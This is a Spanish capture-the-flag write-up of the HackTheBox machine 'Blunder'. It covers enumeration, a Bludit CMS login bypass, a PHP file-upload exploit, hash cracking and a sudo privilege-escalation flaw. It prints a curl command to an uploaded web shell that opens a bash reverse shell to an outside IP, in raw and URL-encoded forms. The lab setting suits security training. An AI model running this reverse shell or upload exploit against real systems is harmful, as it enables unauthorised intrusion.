HackTheBox - Blunder


Creado
HackTheBox - Blunder

Máquina Linux nivel fácil. Romperemos un CMS, encontraremos un File Upload que explotaremos para ejecutar comandos. Crackearemos cositas y nos apoyaremos de una locura relacionada con “sudo -l” para convertirnos en administradores del sistema.

blunderHTB

TL;DR (Spanish writeup)

Wenas, en esta máquina nos encontraremos con el puerto 80, el cual haciéndole un poco de fuzzing se nos listaran: un apartado /admin y un archivo /todo.txt. En /admin hay un login y encontraremos que el servicio está siendo soportado por él CMS Bludit, basado en ello encontraremos un exploit que hace un bypass del login, con esto (y haciendo un diccionario del sitio) lograremos entrar al dashboard como el usuario fergus.

Estando dentro explotaremos una vulnerabilidad file upload, cambiaremos su contenido y pondremos código .php que nos permita ejecutar comandos en el sistema y así obtener una reverse Shell. Estando dentro de la máquina como www-data encontraremos en la estructura del CMS un archivo users.php en el que se listan hashes e información útil de algunos usuarios, crackearemos el hash de hugo para usar esa contraseña y obtener una sesión como él.

Realizando enumeración básica (sudo -l) veremos algo raro, nos apoyaremos en esa locura para buscar y encontrar una manera de obtener una Shell como usuario root. Démosle :)

  • Apoyado en un exploit (que abajo listaré) cree un autopwn en python para obtener una shell desde el mismo programa (:

Claramente vas a encontrar mucho texto, pero como he dicho en otros writeups, me enfoco en plasmar mis errores y existos, asi mismo aveces explico algo de más y me inspiro hablando (:

Tendremos 3 fases.

  1. Enumeración.
  2. Explotación.
  3. Escalada de privilegios.

Enumeración

Como siempre, iniciamos haciendo un escaneo de puertos para así conocer que servicios está corriendo la maquina. En este caso con parámetros normales el escaneo va lento, así que le agregamos algunos para acelerar el proceso.

$ nmap -vvv -sS -Pn --min-rate=5000 -p- --open 10.10.10.191 -oG initScan
Parámetro Descripción
-vvv Permite ver en consola lo que va encontrando
-sS Quita la opción por defecto TCP SYN, así evitamos que haga una petición de conexión
-Pn Evita que realice Host Discovery, como resolución DNS y Ping
–min-rate Indica que no queremos hacer peticiones menores al num que pongamos
-p- Escanea todos los puertos
–open Solo los puertos que están abiertos
-oG Guarda el output en un archivo con formato grepeable

nmapInitScan

Ahora hacemos el escaneo para verificar que versión y que scripts puede manejar el servicio que encontramos.

$ nmap -sC -sV -p80 10.10.10.191 -oN portScan
Parámetro Descripción
-sC Muestra todos los scripts relacionados con el servicio
-sV Nos permite ver la versión del servicio
-p Escaneo de los puertos obtenidos
-oN Guarda el output en un archivo

nmaPortScan

Tenemos el puerto 80, una pagina web, veamo que se cuece :P

webpage

No hay nada a primera vista, vamos a hacer fuerza bruta sobre el dominio con $ dirsearch. Solo tenemos un apartado /admin que nos muestra un login y un texto sobre Bludit, buscando en internet vemos que es un CMS, por lo tanto sabemos que la pagina esta soportada por este CMS.

Con respecto a Bludit ya tenemos otro enfoque, podemos ir a internet o con searchsploit y buscar algún exploit relacionado con ese servicio. Haciendo un research en la documentación y dando vueltas, encontré que la versión que está corriendo de Bludit se puede listar acá:

http://10.10.10.191/bl-plugins/version/metadata.json
version	"3.9.2"

Con searchsploit encontramos un script que hace un bypass, saltándose el bloqueo de IP por intentos fallidos al hacer login incorrectamente.

El exploit es muy interesante, léanselo! :)

Listo, lo que sigue es tener posibles credenciales y probarlos con él.

Así que tome la página, lei cada artículo para ver que destacaba, nombres, palabras raras, números por ahí al azar. Y con ello armar un wordlist para posteriormente usarlos como user y pw.

Adecuando el script para que lea el wordlist que le pasemos, quedaria algo asi:

fileinputscript

Pero no sirvio ninguno :( Sin saber que hacer, usé otra herramienta de fuzz web a ver si era que me habia olvidado algo. Encontre $ gobuster, asi que decidi usarla a ver si con ella podria tener diferentes resultados.

$ gobuster dir -u http://10.10.10.191 -w /usr/share/wordlists/directory-list-2.3-small.txt -t 30 -x .html,.php,.txt,.js
  • -u: Le indico el objetivo
  • -w: El path del wordlist con el que quiero probar
  • -t: Los hilos con los que debe correr el proceso
  • -x: Las extensiones a buscar

Efectivamente, algo no habia aparecido con $ dirsearch, todo.txt.

http://10.10.10.191/todo.txt

todotxt

Perfecto, obtenemos un presunto nombre/usuario, fergus. Pero ¿y su contraseña?, pues usando la wordlist podemos probar :)

ferguslogin

fergusdashboard

Listo, baby… dentro. Buscando en internet encontré una vulnerablidad que explota una funcionalidad para subir imagenes en /new-content, permitiendo corromper el contenido del archivo en cuestión. Asi que si se sube un archivo .jpg pero con contenido php se podra conseguir ejecutar comandos (o lo que sea) con php (:

En este caso con el archivo que subiremos, podremos ejecutar comandos y finalmente crear una reverse shell.

Explotación

Deeeeeeeespues de mucho sufrimiento, confundido con el POC por que simplemente siguiendo los pasos no obtenia nada, intente algo diferente (sencillo, basico y que debi probar al inicio :P) un RCE con un simple system y echo. Logre obtener resultados, hice estos pasos:

  • Como se muestra en el POC se captura la petición mediante BurpSuite.
  • Se modifica el contenido.

burpImage

Verificando…

burpCheckImage

  • Subir el archivo .htaccess para que el servidor interprete las imagenes jpg con contenido php

burphtaccess

  • Hacer peticiones hacia el archivo creado, asi validamos que si encuentra el archivo en el sistema

burpcontrol

  • Verificar que podamos ejecutar comandos.

webRCE

Listo, ahora podemos intentar subir una reverse shell…

Habia probado encodear la URL pero solo lo hice con algunos caracteres, ya que al ejecutar el comando en limpio no pasaba nada, pero despues probé encodear toda la URL y así si me funciono :)

De esto:

$ curl http://10.10.10.191/bl-content/tmp/buenobueno.jpg?xmd=bash -c 'bash -i >& /dev/tcp/10.10.15.26/443 0>&1'

A esto:

$ curl http://10.10.10.191/bl-content/tmp/buenobueno.jpg?xmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.15.26%2F443%200%3E%261%27

revshellwww

Perfe, el problema es que con la shell que tengo estoy limitado ya que no puedo volver a algun comando que haya escrito, asi que la transformaré para que sea completamente interactiva.

Ahora si, a seguir enumerando :)

usersphp

Interesante, primero a saber que tipo de hash es y ver si lo podemos romper.

Pues despues de muchos intentos, herramientas online y herramientas del escritorio no logré romper el hash… Sencillamente por que no habia enumerado bien y habia caido en un hoyo para ratones :s Recuerden, enumeren todo, pues al ir recorriendo las carpetas vi que hay dos versiones de bludit corriendo en el sistema, como era de esperar tiene la misma estructura que la version 3.9.2, asi que tenemos el archivo users.php.

El hash presuntamente es SHA1.

bludit3_10_0

Tengo esto :sss

hugoHash

Este hash es tambien SHA1, probe instantaneamente con una herramienta online que tenia a la mano. Tambien probé con john y hashcat pero el problema es que esa password de hugo no esta en los wordlist por default o tradicionales.

Además ojeando una carpeta dentro del $ /home de hugo llamada /.mozilla, en algunos archivos se hace alusion a crackstation como cache o historial.

resultHugoHash

Listo, tenemos un resultado, probando esa password con hugo tenemos una shell en el sistema.

shellHugo

Escalada de privilegios

Al ver los permisos que tiene hugo me confundi, asi que le cai a google. Basicamente lo que dice es que podemos correr $ /bin/bash con cualquier usuario peeero no con root… :(

Pero existe una vulnerabilidad en esa instrucción, en linux el UID de root es 0, lo que encontraron es que al asignarle a sudo algunos de estos UID (Identificador de usuario): -1 o 4294967295 los interpreta mal y los hace pasar como 0, permitiendo asi ejecutar comandos como el usuario root.

Según eso, la explotación quedaria así:

roottxt

YyyyyyyyyYYyYyY obtenemos nuestra shell como root (:

Una forma nueva para mi y sencilla de escalar privilegios, el inicio de la maquina fue caotico pero despues me enganche (esta maquina la hice primero que la de Magic, por eso en ese writeup comento que me fue mas facil ver la explotacion del apartado /upload) y me gusto mucho, gracias por leer y a seguir rompiendo conocimiento (:

Autopwn.

Apoyandome en un exploit que ejecuta el mismo proceso que realizamos con el POC, cree un .py para obtener una shell desde el mismo programa. (Tambien me apoye en los autopwn de s4vitar)

Y cuando tengas la shell, pones las lineas (para ser hugo y despues root) que estan en este writeup. (Ya que no entendi como hacerlo en el propio script).

Bless :)

Lanz

Lanz

Holap, simplemente quiero compartir contigo mis notas y que quizás, las tomes como apoyo. Este mundo es un camino raro, complicado a veces, pero divertido, diviertete (: (y entiende que estas haciendo :P)

Comments

comments powered by Disqus